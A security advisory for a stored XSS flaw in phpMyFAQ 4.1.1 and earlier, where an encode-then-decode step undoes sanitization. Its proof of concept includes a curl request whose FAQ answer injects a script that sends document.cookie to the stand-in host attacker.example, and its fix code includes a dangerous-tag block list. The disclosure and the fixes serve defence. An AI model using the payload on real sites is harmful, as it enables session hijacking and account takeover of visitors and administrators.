CVE-2026-46363: phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization
Summary The FAQ creation and update endpoints in phpMyFAQ apply FILTERSANITIZESPECIALCHARS (which HTML-encodes input), then immediately call htmlentitydecode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags.
Published May 6, 2026 · Updated Jun 9, 2026
Affected packages
phpmyfaq/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- <= 4.1.1
- Fixed in
- 4.1.2
- Check
composer show phpmyfaq/phpmyfaq
thorsten/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- <= 4.1.1
- Fixed in
- 4.1.2
- Check
composer show thorsten/phpmyfaq
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The FAQ creation and update endpoints in phpMyFAQ apply FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input), then immediately call html_entity_decode() which reverses the encoding, followed by Filter::removeAttributes() which only strips HTML attributes — not tags. This allows <script>, <iframe>, <object>, and <embed> tags to be stored in the database and rendered unescaped via {{ answer|raw }} and {{ question|raw }} in the Twig template, causing JavaScript execution in every visitor's browser.
Details
Vulnerable code path (FAQ create — `FaqController.php`):
At line 120, the answer content is filtered:
$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);Filter::filterVar() calls filterSanitizeString() (Filter.php:135-144) which applies htmlspecialchars(), converting <script> to <script>. The regex /\x00|<[^>]*>?/ then finds no literal angle brackets to strip.
At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:
->setAnswer(Filter::removeAttributes(html_entity_decode(
(string) $content,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))html_entity_decode() converts <script> back to <script>, fully reversing the earlier sanitization. Filter::removeAttributes() (Filter.php:150-196) only matches and strips attribute=value patterns from a known list of HTML attributes (event handlers like onclick, onerror, etc.) but performs no tag-level filtering. A <script> tag with no attributes passes through completely unchanged.
The identical pattern exists in the update endpoint at lines 389-398.
Rendering sink (`faq.twig`):
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>The |raw filter disables Twig's auto-escaping, causing the stored <script> tag to execute in every visitor's browser.
Additional rendering sinks exist in search.twig (line 75, 77) where search results also render FAQ content with |raw.
PoC
Prerequisites: Authenticated session with FAQ_ADD permission and a valid CSRF token.
Step 1: Create a malicious FAQ
curl -X POST 'https://target/admin/api/faq/create' \
-H 'Cookie: PHPSESSID=<admin_session>' \
-H 'Content-Type: application/json' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "Harmless FAQ Title",
"answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
"categories[]": 1,
"lang": "en",
"tags": "",
"active": "yes",
"sticky": "no",
"keywords": "test",
"author": "Admin",
"email": "[email protected]",
"comment": "n",
"changed": "Initial",
"notes": "",
"serpTitle": "Harmless FAQ",
"serpDescription": "Test",
"openQuestionId": 0,
"notifyEmail": "",
"notifyUser": "",
"recordDateHandling": "updateDate"
}
}'Expected response: 200 OK with the new FAQ ID.
Step 2: Verify XSS execution
Navigate to the public FAQ page (e.g., https://target/content/1/{faqId}/en/harmless-faq-title.html). The <script> tag in the answer body executes, sending the visitor's cookies to the attacker's server.
Impact
- Session hijacking: An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.
- Phishing: The injected script can modify page content to display fake login forms or redirect users to malicious sites.
- Worm propagation: If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.
- Scope: Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via
search.twig.
Recommended Fix
Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like HTML Purifier or Symfony's HtmlSanitizer component.
Immediate fix — add tag-level filtering to `removeAttributes()` (Filter.php):
public static function removeAttributes(string $html = ''): string
{
// Strip dangerous HTML tags entirely
$dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];
foreach ($dangerousTags as $tag) {
$html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html);
$html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html);
}
// Also sanitize javascript: URIs in href/src attributes
$html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html);
$keep = [
'href', 'src', 'title', 'alt', 'class', 'style', 'id',
'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',
'height', 'controls',
];
// ... rest of existing attribute removal logicRecommended long-term fix: Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:
use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
$config = (new HtmlSanitizerConfig())
->allowSafeElements()
->blockElement('script')
->blockElement('iframe')
->blockElement('object')
->blockElement('embed');
$sanitizer = new HtmlSanitizer($config);
$cleanAnswer = $sanitizer->sanitize($rawAnswer);Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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